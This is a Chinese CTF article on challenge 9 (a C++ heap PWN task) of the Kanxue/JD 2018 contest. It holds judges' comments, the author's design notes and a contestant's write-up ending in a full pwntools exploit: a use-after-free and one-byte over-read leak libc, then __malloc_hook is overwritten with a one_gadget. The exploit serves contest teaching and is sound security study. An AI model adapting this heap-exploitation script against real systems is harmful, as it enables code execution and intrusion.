看雪.京东 2018 CTF 第九题 PWN-羞耻player 点评与解析
熊孩子们要放假了,作为一个再也没有暑假的人er,
表示真诚的祝福!
别拉我,我还能起来打CTF
第九题羞耻Player 共有11人攻破,
第九题作者也因此位列第四名。
攻击方 AloneWolf 继续稳步前进,由第四名上升至第三名,
aqs 本题过后,挺进前十名,
poyoten 也重进前十名。
风间仁曾在看雪2017 CTF 年中赛中取得第一名
此次究竟能否继续卫冕冠军呢?
让我们拭目以待!
看雪版主&评委 netwind 点评
本题作者构造了一个具有UAF堆漏洞的题目,利用C++特性增加一定的逆向难度,除此之外对堆分配做了特殊处理使得选手难以获得堆地址。利用点在于在编辑 AudioClip的editor的功能时存在悬挂指针。
看雪.京东 2018 CTF 第九题 作者简介
此恨不关风月
bbs.pediy.com/user-811934
第九题出题者简介:
看雪ID:此恨不关风月
无(作者表示并不想写简介
看雪.京东 2018 CTF 第九题 设计思路
题目设计
C++ 编写,利用C++特性 增加一定的逆向难度
除此之外 对堆分配做了特殊处理 使得选手难以获得堆地址
void fuck_the_heap(){
int i;
uint8_t *chunks[0x200];
int seed;
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(fd < 0){
exit(1);
}
if(read(fd, &seed, 4)!=4){
exit(1);
}
close(fd);
srand(seed);
for(i=0;i<0x100;i++){
chunks[i] = new uint8_t[rand() & 0xFF];
}
for(i=0;i<0x100;i++){
if(rand() % 3 == 0){
delete[] chunks[i];
}
chunks[i] = NULL;
}
seed = 0;
}
题目的利用点在于 在编辑 AudioClip 的editor的功能下存在悬挂指针
if(!newData){
exit(1);
}
delete[] data;
data = newData;
PS:题目以及解体脚本在附件中(点击阅读原文查看下载)
看雪.京东 2018 CTF 第九题解析
*本解析来自看雪论坛 diycode
C++写的堆溢出考题,保护全开。
载入IDA分析,在程序开头0x12B0处,做了随机化的堆操作:
如图,先256次随机大小的分配,然后随机释放掉其中的一部分。这时候堆会显得比较乱,如下:
(0x20) fastbin[0]: 0x5555557936d0 --> 0x5555557904c0 --> 0x55555578f9f0 --> 0x55555578f9d0 --> 0x55555578f400 --> 0x55555578dc50 --> 0x55555578c8c0 --> 0x55555578b850 --> 0x0
(0x30) fastbin[1]: 0x555555790470 --> 0x55555578f600 --> 0x55555578dc20 --> 0x55555578cf40 --> 0x55555578b820 --> 0x0
(0x40) fastbin[2]: 0x5555557937f0 --> 0x555555790640 --> 0x55555578e1f0 --> 0x55555578d5f0 --> 0x55555578bd10 --> 0x55555578b4e0 --> 0x0
(0x50) fastbin[3]: 0x555555792370 --> 0x5555557913a0 --> 0x55555578cd00 --> 0x0
(0x60) fastbin[4]: 0x555555791eb0 --> 0x5555557914d0 --> 0x55555578f330 --> 0x0
(0x70) fastbin[5]: 0x5555557910e0 --> 0x555555790500 --> 0x55555578f850 --> 0x55555578e910 --> 0x55555578cd50 --> 0x55555578c4b0 --> 0x55555578ae30 --> 0x0
(0x80) fastbin[6]: 0x555555793380 --> 0x555555792850 --> 0x55555578f710 --> 0x55555578f1d0 --> 0x55555578c3f0 --> 0x55555578b0b0 --> 0x0
top: 0x555555793f10 (size : 0x170f0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x555555793ba0 (size : 0xb0) <--> 0x555555793920 (size : 0x100) <--> 0x5555557936f0 (size : 0x100) <--> 0x555555793440 (size : 0x140) <--> 0x5555557930a0 (size : 0x1b0) <--> 0x555555792f00 (size : 0xa0) <--> 0x555555792cc0 (size : 0xe0) <--> 0x5555557928d0 (size : 0x130) <--> 0x555555791c80 (size : 0x110) <--> 0x555555791bb0 (size : 0xa0) <--> 0x555555791a80 (size : 0x90) <--> 0x555555791820 (size : 0x1b0) <--> 0x555555791680 (size : 0xe0) <--> 0x555555790770 (size : 0x280) <--> 0x5555557902b0 (size : 0xe0) <--> 0x55555578fa10 (size : 0x350) <--> 0x55555578f010 (size : 0x1c0) <--> 0x55555578ed00 (size : 0x210) <--> 0x55555578eae0 (size : 0xf0) <--> 0x55555578e810 (size : 0x100) <--> 0x55555578e500 (size : 0xa0) <--> 0x55555578e3d0 (size : 0xa0) <--> 0x55555578dd50 (size : 0xa0) <--> 0x55555578d0b0 (size : 0xb0) <--> 0x55555578ce30 (size : 0x110) <--> 0x55555578cc00 (size : 0x100) <--> 0x55555578ca80 (size : 0x110) <--> 0x55555578c760 (size : 0xa0) <--> 0x55555578c110 (size : 0x90) <--> 0x55555578b870 (size : 0xa0) <--> 0x55555578b360 (size : 0xe0) <--> 0x55555578af60 (size : 0x150) <--> 0x55555578ac10 (size : 0xd0)
注意到随机分配的大小v0是8bit的,也就是0~255,那么只要分配一个比较大的,就可以consolidate,清空fastbin,并且把unsortbin放到smallbin里去。
尝试分配一个video,之后堆就干净了一些:
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x555555793f80 (size : 0x17080)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x270) smallbin[37]: 0x555555793710
(0x190) smallbin[23]: 0x555555790ad0
(0x030) smallbin[ 1]: 0x55555578c060 <--> 0x55555578ea20
(0x120) smallbin[16]: 0x55555578ede0 <--> 0x555555791630 <--> 0x55555578f410
(0x090) smallbin[ 7]: 0x55555578f7d0 <--> 0x55555578f330 <--> 0x55555578ca20
(0x080) smallbin[ 6]: 0x55555578c4d0
(0x110) smallbin[15]: 0x555555791f30
(0x100) smallbin[14]: 0x55555578bee0 <--> 0x55555578cc80 <--> 0x55555578d3f0 <--> 0x55555578ced0 <--> 0x55555578b8d0 <--> 0x55555578ae50
(0x060) smallbin[ 4]: 0x555555792f60
(0x020) smallbin[ 0]: 0x55555578cc00 <--> 0x55555578fce0 <--> 0x555555790ef0 <--> 0x555555790fa0 <--> 0x5555557923c0
(0x0e0) smallbin[12]: 0x55555578d160 <--> 0x55555578e240
(0x0d0) smallbin[11]: 0x555555790d60 <--> 0x555555793170 <--> 0x555555791a60 <--> 0x55555578b510
(0x0b0) smallbin[ 9]: 0x55555578bc20
(0x150) smallbin[19]: 0x55555578fe60 <--> 0x55555578d890
(0x0f0) smallbin[13]: 0x55555578d660 <--> 0x555555793020 <--> 0x55555578e4d0
(0x1a0) smallbin[24]: 0x5555557913e0
(0x130) smallbin[17]: 0x555555791020
(0x070) smallbin[ 5]: 0x55555578dcd0 <--> 0x55555578e3d0 <--> 0x5555557908e0 <--> 0x555555793640
(0x240) smallbin[34]: 0x55555578b640
(0x040) smallbin[ 2]: 0x55555578c850 <--> 0x555555793390
(0x180) smallbin[22]: 0x555555792980
(0x1e0) smallbin[28]: 0x55555578eaa0
(0x0a0) smallbin[ 8]: 0x555555790150 <--> 0x55555578e0a0 <--> 0x55555578bad0
(0x050) smallbin[ 3]: 0x55555578dbd0 <--> 0x55555578dee0 <--> 0x55555578f700 <--> 0x555555791c40 <--> 0x5555557926e0
(0x2c0) smallbin[42]: 0x55555578f000
(0x140) smallbin[18]: 0x5555557906c0
(0x0c0) smallbin[10]: 0x55555578b0b0 <--> 0x55555578c130 <--> 0x55555578bde0
回头看程序,看video相关操作。0x203C70处是它的vtable,里面4个函数分别是增改删查功能。
动态调试标出结构体。然后看添加video的逻辑,如下:
其中frames最大1024,并且会更新为实际读入的内容长度。
但是在play功能部分,可以看到循环上界有问题:
这里多输出了一个字节,那么可以走这里逐字节泄漏libc。
最后看编辑功能,如下:
可以看到这里有明显的UAF。
那么,总体来说就是非常直接的一道题了,简单总结一下看到的两个明显漏洞:
edit时的UAF
play的时候多输出一个byte
(不知道还有没有其他漏洞)
于是先搞出0x410的unsortbin,然后反复edit即可逐byte泄漏出unsortbin的bk指针,也就拿到了libc偏移。
然后就随便玩了,fastbin重定向或者house of orange都可以,或者再泄漏堆,修改堆上的vtable也行,总之八仙过海各显神通,大家各凭本事就好。我这里是用fastbin把malloc_hook改成one_gadget,完整利用如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'
def login():
r.sendlineafter('Name?\n', 'qwe')
def add_video(res, fps, frames, data, des):
r.sendlineafter('>>> ', '1')
r.sendlineafter('>>> ', '1')
r.sendafter(': ', res)
r.sendafter(': ', fps)
r.sendafter(': ', frames)
r.sendafter(': ', data)
r.sendafter(': ', des)
def fre(idx):
r.sendlineafter('>>> ', '4')
r.sendlineafter(': ', str(idx))
def show_video(idx):
r.sendlineafter('>>> ', '3')
r.sendlineafter(': ', str(idx))
r.recvuntil('...\n')
tmp = r.recvline().strip()
tmp = xor(tmp, '\xcc')
return tmp
def edit_video(idx, res, fps, frames, data, des):
r.sendlineafter('>>> ', '2')
r.sendlineafter(': ', str(idx))
r.sendafter(': ', res)
r.sendafter(': ', fps)
r.sendafter(': ', frames)
r.sendafter(': ', data)
r.sendafter(': ', des)
def exploit(r):
login()
add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA')
add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA')
fre(0)
leak = '\x00'
for i in range(1, 6):
edit_video(1, 'AAAAAAAA', 'AAAA', 'AAAA', '\x00'*i, 'AAAA')
leak += show_video(1)[-1]
leak += '\x00\x00'
libc.address = u64(leak) - libc.sym['__malloc_hook'] + 0x10
info('%016x libc.address', libc.address)
edit_video(1, 'AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA')
add_video('AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA')
add_video('AAAAAAAA', 'AAAA', p32(0x70-8), '\x00'*3 + p64(libc.address+0x4526a), 'AAAA')
r.sendlineafter('>>> ', '1')
r.sendlineafter('>>> ', '1')
r.interactive()
libc = ELF('./libc.so.6')
r = remote('139.199.99.130', 8989)
exploit(r)
当然因为程序开头的一些随机操作,这个利用概率性成功。提高利用成功率留作习题。
PS:有点残念,这题不到一个钟头就做完了,不过当时没有服务器信息,等到将近四点才拿到flag……不过还是非常感谢netwind斑竹!
合作伙伴
京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。
京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。
随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。
京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。
CTF 旗帜已经升起,等你来战!
扫描二维码,立即参战!
看雪.京东 2018 CTF
看雪2018安全开发者峰会
2018年7月21日,拥有18年悠久历史的老牌安全技术社区——看雪学院联手国内最大开发者社区CSDN,倾力打造一场技术干货的饕餮盛宴——2018 安全开发者峰会,将在国家会议中心隆重举行。会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。此外峰会将展现当前最新、最前沿技术成果,汇聚年度最强实践案例,为中国软件开发者们呈献了一份年度技术实战解析全景图。
戳下图↓,立即购票,享5折优惠!